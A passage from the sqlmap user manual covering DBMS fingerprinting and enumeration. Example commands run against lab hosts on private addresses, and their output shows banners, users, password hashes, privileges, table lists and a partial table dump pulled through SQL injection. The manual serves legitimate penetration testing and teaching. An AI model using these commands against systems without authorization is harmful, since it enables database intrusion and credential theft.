>     [hh:mm:49] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:49] [INFO] executing MySQL comment injection fingerprint
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
>                    comment injection fingerprint: MySQL 5.0.67
>                    html error message fingerprint: MySQL
>  
[/code]

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f
>  
>     [...]
>     [hh:mm:38] [WARNING] the back-end DMBS is not MySQL
>     [hh:mm:38] [INFO] testing Oracle
>     [hh:mm:38] [INFO] confirming Oracle
>     [hh:mm:38] [INFO] the back-end DBMS is Oracle
>     [hh:mm:38] [INFO] query: SELECT SUBSTR((VERSION), 1, 2) FROM
> SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
>     [hh:mm:38] [INFO] retrieved: 10
>     [hh:mm:38] [INFO] performed 20 queries in 0 seconds
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: active fingerprint: Oracle 10g
>                    html error message fingerprint: Oracle
>  
[/code]

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
>  
>     [...]
>     [hh:mm:14] [WARNING] the back-end DMBS is not Oracle
>     [hh:mm:14] [INFO] testing PostgreSQL
>     [hh:mm:14] [INFO] confirming PostgreSQL
>     [hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
>     [hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)
>     [hh:mm:14] [INFO] retrieved: 2
>     [hh:mm:14] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
>     [hh:mm:14] [INFO] retrieved:
>     [hh:mm:14] [INFO] performed 6 queries in 0 seconds
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
>                    html error message fingerprint: PostgreSQL
>  
[/code]

As you can see from this last example, sqlmap first tested for MySQL, then for
Oracle, then for PostgreSQL since the user did not forced the back-end
database management system name with option `--dbms`.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
>  
>     [...]
>     [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
>     [hh:mm:41] [INFO] testing Microsoft SQL Server
>     [hh:mm:41] [INFO] confirming Microsoft SQL Server
>     [hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
>                     html error message fingerprint: Microsoft SQL Server
>  
[/code]

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f
>  
>     [...]
>     [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
>     [hh:mm:41] [INFO] testing Microsoft SQL Server
>     [hh:mm:41] [INFO] confirming Microsoft SQL Server
>     [hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
>     web server operating system: Windows 2003 or 2000
>     web application technology: ASP.NET, Microsoft IIS 6.0, ASP
>     back-end DBMS: active fingerprint: Microsoft SQL Server 2005
>                    html error message fingerprint: Microsoft SQL Server
>  
[/code]

If you want an even more accurate result, based also on banner parsing, you
can also provide the `-b` or `--banner` option.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b
>  
>     [...]
>     [hh:mm:04] [INFO] testing MySQL
>     [hh:mm:04] [INFO] confirming MySQL
>     [hh:mm:04] [INFO] query: SELECT 0 FROM information_schema.TABLES LIMIT
> 0, 1
>     [hh:mm:04] [INFO] retrieved: 0
>     [hh:mm:04] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:04] [INFO] the back-end DBMS is MySQL
>     [hh:mm:04] [INFO] query: VERSION()
>     [hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
>     [hh:mm:05] [INFO] performed 111 queries in 1 seconds
>     [hh:mm:05] [INFO] query: SELECT 0 FROM information_schema.PARAMETERS
> LIMIT 0, 1
>     [hh:mm:05] [INFO] retrieved:
>     [hh:mm:05] [INFO] performed 6 queries in 0 seconds
>     [hh:mm:05] [INFO] query: MID(@@table_open_cache, 1, 1)
>     [hh:mm:05] [INFO] retrieved:
>     [hh:mm:05] [INFO] performed 6 queries in 0 seconds
>     [hh:mm:05] [INFO] query: MID(@@hostname, 1, 1)
>     [hh:mm:05] [INFO] retrieved: t
>     [hh:mm:06] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:06] [INFO] executing MySQL comment injection fingerprint
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
>                    comment injection fingerprint: MySQL 5.0.67
>                    banner parsing fingerprint: MySQL 5.0.67
>                    html error message fingerprint: MySQL
>     [...]
>  
[/code]

As you can see, sqlmap was able to fingerprint also the back-end DBMS
operating system by parsing the DBMS banner value.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f -b
>  
>     [...]
>     [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
>     [hh:mm:03] [INFO] testing Microsoft SQL Server
>     [hh:mm:03] [INFO] confirming Microsoft SQL Server
>     [hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
>     [hh:mm:03] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:03] [INFO] query: @@VERSION
>     [hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194
> (Intel X86)
>             Aug  6 2000 00:57:48
>             Copyright (c) 1988-2000 Microsoft Corporation
>             Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
>  
>     [hh:mm:08] [INFO] performed 1308 queries in 4 seconds
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS operating system: Windows 2000 Service Pack 4
>     back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
>                     banner parsing fingerprint: Microsoft SQL Server 2000
> Service Pack 0
>                     version 8.00.194
>                     html error message fingerprint: Microsoft SQL Server
>     [...]
>  
[/code]

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
>  
>     [...]
>     [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
>     [hh:mm:03] [INFO] testing Microsoft SQL Server
>     [hh:mm:03] [INFO] confirming Microsoft SQL Server
>     [hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
>     [hh:mm:03] [INFO] query: @@VERSION
>     [hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06
> (Intel X86)
>             Oct 14 2005 00:33:37
>             Copyright (c) 1988-2005 Microsoft Corporation
>             Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack
> 1)
>  
>     [hh:mm:15] [INFO] performed 1343 queries in 11 seconds
>     web server operating system: Windows 2003 or 2000
>     web application technology: ASP.NET, Microsoft IIS 6.0, ASP
>     back-end DBMS operating system: Windows 2003 Service Pack 1
>     back-end DBMS: active fingerprint: Microsoft SQL Server 2005
>                    banner parsing fingerprint: Microsoft SQL Server 2005
> Service Pack 0
>                    version 9.00.1399
>                    html error message fingerprint: Microsoft SQL Server
>     [...]
>  
[/code]

As you can see, from the Microsoft SQL Server banner, sqlmap was able to
correctly identify the database management system patch level. The Microsoft
SQL Server XML versions file is the result of a sqlmap parsing library that
fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML
versions file.

## 5.7 Enumeration

### Banner

Option: `-b` or `--banner`

Most of the modern database management systems have a function or an
environment variable which returns details on the database managemet system
version. Sometimes also the operating system where the daemon has been
compiled on, the operating system architecture, its service pack. Usually this
function is`version()` or the `@@version` environment variable.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -b -v 0
>  
>     banner:    '5.0.67-0ubuntu6'
>  
[/code]

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 0
>  
>     banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC
> gcc-4.3.real
>     (Ubuntu 4.3.2-1ubuntu11) 4.3.2'
>  
[/code]

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b -v 0
>  
>     banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 -
> Product'
>  
[/code]

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -b -v 0
>  
>     banner:
>     ---
>     Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
>             Aug  6 2000 00:57:48
>             Copyright (c) 1988-2000 Microsoft Corporation
>             Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
>     ---
>  
[/code]

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 0 -b
>  
>     banner:
>     ---
>     Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
>             Oct 14 2005 00:33:37
>             Copyright (c) 1988-2005 Microsoft Corporation
>             Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack
> 1)
>     ---
>  
[/code]

### Current user

Option: `--current-user`

It is possible to retrieve the database management system's user which is
effectively performing the query on the database from the web application.

Example on a **MySQL 5.0.67** target:

>
[code]

>     python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"
> --current-user -v 0
>  
>     current user:    'testuser@localhost'
>  
[/code]

### Current database

Option: `--current-db`

It is possible to retrieve the database management system's database the web
application is connected to.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
>  
>     current database:    'master'
>  
[/code]

### Detect if the DBMS current user is a database administrator

Option: `--is-dba`

It is possible to detect if the database management system session user is a
database administrator.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
>  
>     [...]
>     back-end DBMS: PostgreSQL
>  
>     [hh:mm:49] [INFO] testing if current user is DBA
>     [hh:mm:49] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM
> pg_user WHERE
>     usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
>     [hh:mm:49] [INFO] retrieved: 1
>     [hh:mm:50] [INFO] performed 13 queries in 0 seconds
>     current user is DBA:    'True'
>  
[/code]

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --is-dba -v 1
>  
>     [...]
>     back-end DBMS: Oracle
>  
>     [16:40:57] [INFO] testing if current user is DBA
>     [16:40:58] [INFO] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM
> DBA_ROLE_PRIVS WHERE
>     GRANTEE=SYS.LOGIN_USER AND
> GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
>     THEN 1 ELSE 0 END) FROM DUAL
>     [16:40:58] [INFO] retrieved: 1
>     [16:40:58] [INFO] performed 13 queries in 0 seconds
>     current user is DBA:    'True'
>  
[/code]

### Users

Option: `--users`

It is possible to enumerate the list of database management system users.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
>  
>     database management system users [3]:
>     [*] postgres
>     [*] testuser
>     [*] testuser2
>  
[/code]

### Users password hashes

Options: `--passwords` and `-U`

It is possible to enumerate the password hashes for each database management
system user.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
>  
>     [*] debian-sys-maint [1]:
>         password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
>     [*] root [1]:
>         password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
>     [*] testuser [1]:
>         password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
>  
[/code]

You can also provide the `-U` option to specify the user who you want to
enumerate the password hashes.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords \
>       -U sa -v 0
>  
>     database management system users password hashes:
>     [*] sa [1]:
>         password hash:
> 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
>     ba9930b62ee5d506955
>             header: 0x0100
>             salt: 0e16d704
>             mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
>             uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
>  
[/code]

As you can see, when you enumerate password hashes on Microsoft SQL Server
sqlmap split the hash, useful if you want to crack it.

If you provide `CU` as username it will consider it as an alias for current
user and will retrieve the password hashes for this user.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
>       -U CU -v 1
>  
>     [...]
>     back-end DBMS: PostgreSQL
>  
>     [hh:mm:48] [INFO] fetching current user
>     [hh:mm:48] [INFO] query: COALESCE(CAST(CURRENT_USER AS
> CHARACTER(10000)), CHR(32))
>     [hh:mm:48] [INFO] retrieved: postgres
>     [hh:mm:49] [INFO] performed 62 queries in 0 seconds
>     [hh:mm:49] [INFO] fetching database users password hashes for current
> user
>     [hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
>     [hh:mm:49] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(passwd)) AS
> CHARACTER(10000)),
>     CHR(32)) FROM pg_shadow WHERE
> usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
>     CHR(114)||CHR(101)||CHR(115)
>     [hh:mm:49] [INFO] retrieved: 1
>     [hh:mm:49] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:49] [INFO] fetching password hashes for user 'postgres'
>     [hh:mm:49] [INFO] query: SELECT DISTINCT(COALESCE(CAST(passwd AS
> CHARACTER(10000)),
>     CHR(32))) FROM pg_shadow WHERE
> usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
>     CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
>     [hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
>     [hh:mm:51] [INFO] performed 251 queries in 2 seconds
>     database management system users password hashes:
>     [*] postgres [1]:
>         password hash: md5d7d880f96044b72d0bba108ace96d1e4
>  
[/code]

### Users privileges

Options: `--privileges` and `-U`

It is possible to enumerate the privileges for each database management system
user.

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
>  
>     [hh:mm:25] [WARNING] unable to retrieve the number of privileges for
> user 'ANONYMOUS'
>     [hh:mm:28] [WARNING] unable to retrieve the number of privileges for
> user 'DIP'
>     database management system users privileges:
>     [*] CTXSYS [2]:
>         privilege: CTXAPP
>         privilege: RESOURCE
>     [*] DBSNMP [1]:
>         privilege: OEM_MONITOR
>     [*] FLOWS_020100 (administrator) [4]:
>         privilege: CONNECT
>         privilege: DBA
>         privilege: RESOURCE
>         privilege: SELECT_CATALOG_ROLE
>     [*] FLOWS_FILES [2]:
>         privilege: CONNECT
>         privilege: RESOURCE
>     [*] HR (administrator) [3]:
>         privilege: CONNECT
>         privilege: DBA
>         privilege: RESOURCE
>     [*] MDSYS [2]:
>         privilege: CONNECT
>         privilege: RESOURCE
>     [*] OUTLN [1]:
>         privilege: RESOURCE
>     [*] SYS (administrator) [22]:
>         privilege: AQ_ADMINISTRATOR_ROLE
>         privilege: AQ_USER_ROLE
>         privilege: AUTHENTICATEDUSER
>         privilege: CONNECT
>         privilege: CTXAPP
>         privilege: DBA
>         privilege: DELETE_CATALOG_ROLE
>         privilege: EXECUTE_CATALOG_ROLE
>         privilege: EXP_FULL_DATABASE
>         privilege: GATHER_SYSTEM_STATISTICS
>         privilege: HS_ADMIN_ROLE
>         privilege: IMP_FULL_DATABASE
>         privilege: LOGSTDBY_ADMINISTRATOR
>         privilege: OEM_ADVISOR
>         privilege: OEM_MONITOR
>         privilege: PLUSTRACE
>         privilege: RECOVERY_CATALOG_OWNER
>         privilege: RESOURCE
>         privilege: SCHEDULER_ADMIN
>         privilege: SELECT_CATALOG_ROLE
>         privilege: XDBADMIN
>         privilege: XDBWEBSERVICES
>     [*] SYSTEM (administrator) [2]:
>         privilege: AQ_ADMINISTRATOR_ROLE
>         privilege: DBA
>     [*] TSMSYS [1]:
>         privilege: RESOURCE
>     [*] XDB [2]:
>         privilege: CTXAPP
>         privilege: RESOURCE
>  
[/code]

You can also provide the `-U` option to specify the user who you want to
enumerate the privileges.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges \
>       -U postgres -v 0
>  
>     database management system users privileges:
>     [*] postgres (administrator) [3]:
>         privilege: catupd
>         privilege: createdb
>         privilege: super
>  
[/code]

As you can see, depending on the user privileges, sqlmap identifies if the
user is a database management system administrator and show next to the
username this information.

If you provide `CU` as username it will consider it as an alias for current
user and will enumerate the privileges for this user.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
>       -U CU -v 1
>  
>     [...]
>     back-end DBMS: PostgreSQL
>  
>     [hh:mm:25] [INFO] fetching current user
>     [hh:mm:25] [INFO] query: COALESCE(CAST(CURRENT_USER AS
> CHARACTER(10000)), CHR(32))
>     [hh:mm:25] [INFO] retrieved: postgres
>     [hh:mm:25] [INFO] performed 62 queries in 0 seconds
>     [hh:mm:25] [INFO] fetching database users privileges for current user
>     [hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
>     [hh:mm:25] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(usename))
> AS CHARACTER(10000)),
>     CHR(32)) FROM pg_user WHERE
> usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
>     CHR(114)||CHR(101)||CHR(115)
>     [hh:mm:25] [INFO] retrieved: 1
>     [hh:mm:25] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:25] [INFO] fetching privileges for user 'postgres'
>     [hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap
> will now unpack it
>     into distinct queries to be able to retrieve the output even if we are
> going blind
>     [hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecreatedb
> THEN 1 ELSE 0 END) AS
>     CHARACTER(10000)), CHR(32)) FROM pg_user WHERE
> usename=CHR(112)||CHR(111)||CHR(115)||
>     CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
>     [hh:mm:25] [INFO] retrieved: 1
>     [hh:mm:25] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usesuper THEN 1
> ELSE 0 END) AS
>     CHARACTER(10000)), CHR(32)) FROM pg_user WHERE
> usename=CHR(112)||CHR(111)||CHR(115)||
>     CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
>     [hh:mm:25] [INFO] retrieved: 1
>     [hh:mm:25] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecatupd THEN
> 1 ELSE 0 END) AS
>     CHARACTER(10000)), CHR(32)) FROM pg_user WHERE
> usename=CHR(112)||CHR(111)||CHR(115)||
>     CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
>     [hh:mm:25] [INFO] retrieved: 1
>     [hh:mm:25] [INFO] performed 13 queries in 0 seconds
>     database management system users privileges:
>     [*] postgres (administrator) [3]:
>         privilege: catupd
>         privilege: createdb
>         privilege: super
>  
[/code]

Note that this feature is not available if the back-end database management
system is Microsoft SQL Server.

### Available databases

Option: `--dbs`

It is possible to enumerate the list of databases.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
>  
>     available databases [6]:
>     [*] master
>     [*] model
>     [*] msdb
>     [*] Northwind
>     [*] pubs
>     [*] tempdb
>  
[/code]

Note that this feature is not available if the back-end database management
system is Oracle.

### Databases tables

Options: `--tables` and `-D`

It is possible to enumerate the list of tables for all database manangement
system's databases.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0
>  
>     Database: test
>     [1 table]
>     +---------------------------------------+
>     | users                                 |
>     +---------------------------------------+
>  
>     Database: information_schema
>     [17 tables]
>     +---------------------------------------+
>     | CHARACTER_SETS                        |
>     | COLLATION_CHARACTER_SET_APPLICABILITY |
>     | COLLATIONS                            |
>     | COLUMN_PRIVILEGES                     |
>     | COLUMNS                               |
>     | KEY_COLUMN_USAGE                      |
>     | PROFILING                             |
>     | ROUTINES                              |
>     | SCHEMA_PRIVILEGES                     |
>     | SCHEMATA                              |
>     | STATISTICS                            |
>     | TABLE_CONSTRAINTS                     |
>     | TABLE_PRIVILEGES                      |
>     | TABLES                                |
>     | TRIGGERS                              |
>     | USER_PRIVILEGES                       |
>     | VIEWS                                 |
>     +---------------------------------------+
>  
>     Database: mysql
>     [17 tables]
>     +---------------------------------------+
>     | columns_priv                          |
>     | db                                    |
>     | func                                  |
>     | help_category                         |
>     | help_keyword                          |
>     | help_relation                         |
>     | help_topic                            |
>     | host                                  |
>     | proc                                  |
>     | procs_priv                            |
>     | tables_priv                           |
>     | time_zone                             |
>     | time_zone_leap_second                 |
>     | time_zone_name                        |
>     | time_zone_transition                  |
>     | time_zone_transition_type             |
>     | user                                  |
>     +---------------------------------------+
>  
[/code]

You can also provide the `-D` option to specify the database that you want to
enumerate the tables.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \
>       -D test -v 0
>  
>     Database: test
>     [1 table]
>     +---------------------------------------+
>     | users                                 |
>     +---------------------------------------+
>  
[/code]

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \
>       -D users -v 0
>  
>     Database: USERS
>     [8 tables]
>     +-------------------+
>     | DEPARTMENTS       |
>     | EMPLOYEES         |
>     | HTMLDB_PLAN_TABLE |
>     | JOB_HISTORY       |
>     | JOBS              |
>     | LOCATIONS         |
>     | REGIONS           |
>     | USERS             |
>     +-------------------+
>  
[/code]

Note that on Oracle you have to provide the `TABLESPACE_NAME` instead of the
database name, in my example that is `users` to retrieve all tables owned by
an Oracle database management system user.

### Database table columns

Options: `--columns`, `-T` and `-D`

It is possible to enumerate the list of columns for a specific database table.
This functionality depends on the `-T` to specify the table name and
optionally on `-D` to specify the database name.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
>       -T users -D test -v 1
>  
>     [...]
>     back-end DBMS: MySQL >= 5.0.0
>  
>     [hh:mm:25] [WARNING] missing database parameter, sqlmap is going to use
> the current
>     database to enumerate table 'users' columns
>     [hh:mm:25] [INFO] fetching current database
>     [hh:mm:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)),
> CHAR(32))
>     [hh:mm:25] [INFO] retrieved: test
>     [hh:mm:25] [INFO] performed 34 queries in 0 seconds
>     [hh:mm:25] [INFO] fetching columns for table 'users' on database 'test'
>     [hh:mm:25] [INFO] fetching number of columns for table 'users' on
> database 'test'
>     [...]
>     Database: test
>     Table: users
>     [3 columns]
>     +---------+-------------+
>     | Column  | Type        |
>     +---------+-------------+
>     | id      | int(11)     |
>     | name    | varchar(40) |
>     | surname | varchar(60) |
>     +---------+-------------+
>  
[/code]

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --columns \
>       -T users -D master -v 0
>  
>     Database: master
>     Table: users
>     [3 columns]
>     +---------+---------+
>     | Column  | Type    |
>     +---------+---------+
>     | id      | int     |
>     | name    | varchar |
>     | surname | varchar |
>     +---------+---------+
>  
[/code]

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns \
>       -T users -D public -v 0
>  
>     Database: public
>     Table: users
>     [3 columns]
>     +---------+--------+
>     | Column  | Type   |
>     +---------+--------+
>     | id      | int4   |
>     | name    | bpchar |
>     | surname | bpchar |
>     +---------+--------+
>  
[/code]

Note that on PostgreSQL you have to provide `public` or the name of a system
database because it is not possible to enumerate other databases tables, only
the tables under the schema that the web application's user is connected to,
which is always `public`.

If the database name is not specified, the current database name is used.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
>       -T users -v 1
>  
>     [...]
>     back-end DBMS: MySQL >= 5.0.0
>  
>     [hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use
> the current
>     database to enumerate table 'users' columns
>     [hh:mm:13] [INFO] fetching current database
>     [hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)),
> CHAR(32))
>     [hh:mm:13] [INFO] retrieved: test
>     [hh:mm:13] [INFO] performed 34 queries in 0 seconds
>     [hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
>     [hh:mm:13] [INFO] fetching number of columns for table 'users' on
> database 'test'
>     [hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS
> CHAR(10000)), CHAR(32))
>     FROM information_schema.COLUMNS WHERE
> table_name=CHAR(117,115,101,114,115) AND
>     table_schema=CHAR(116,101,115,116)
>     [hh:mm:13] [INFO] retrieved: 3
>     [hh:mm:13] [INFO] performed 13 queries in 0 seconds
>     [...]
>     Database: test
>     Table: users
>     [3 columns]
>     +---------+-------------+
>     | Column  | Type        |
>     +---------+-------------+
>     | id      | int(11)     |
>     | name    | varchar(40) |
>     | surname | varchar(60) |
>     +---------+-------------+
>  
[/code]

### Dump database table entries

Options: `--dump`, `-C`, `-T`, `-D`, `--start` and `--stop`

It is possible to dump the entries for a specific database table. This
functionality depends on the `-T` to specify the table name and optionally on
`-D` to specify the database name. If the database name is not specified, the
current database name is used.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
>       -T users -v 1
>  
>     [...]
>     back-end DBMS: MySQL >= 5.0.0
>  
>     [hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use
> the current
>     database to dump table 'users' entries
>     [hh:mm:13] [INFO] fetching current database
>     [hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)),
> CHAR(32))
>     [hh:mm:13] [INFO] retrieved: test
>     [hh:mm:13] [INFO] performed 34 queries in 0 seconds
>     [hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
>     [hh:mm:13] [INFO] fetching number of columns for table 'users' on
> database 'test'
>     [hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS
> CHAR(10000)), CHAR(32))
>     FROM information_schema.COLUMNS WHERE
> table_name=CHAR(117,115,101,114,115) AND
>     table_schema=CHAR(116,101,115,116)
>     [hh:mm:13] [INFO] retrieved: 3
>     [hh:mm:13] [INFO] performed 13 queries in 0 seconds
>     [...]
>     Database: test
>     Table: users
>     [5 entries]
>
> +----+----------------------------------------------+-------------------+
>     | id | name                                         | surname           |
>
> +----+----------------------------------------------+-------------------+
>     | 1  | luther                                       | blissett          |
>     | 2  | fluffy                                       | bunny             |
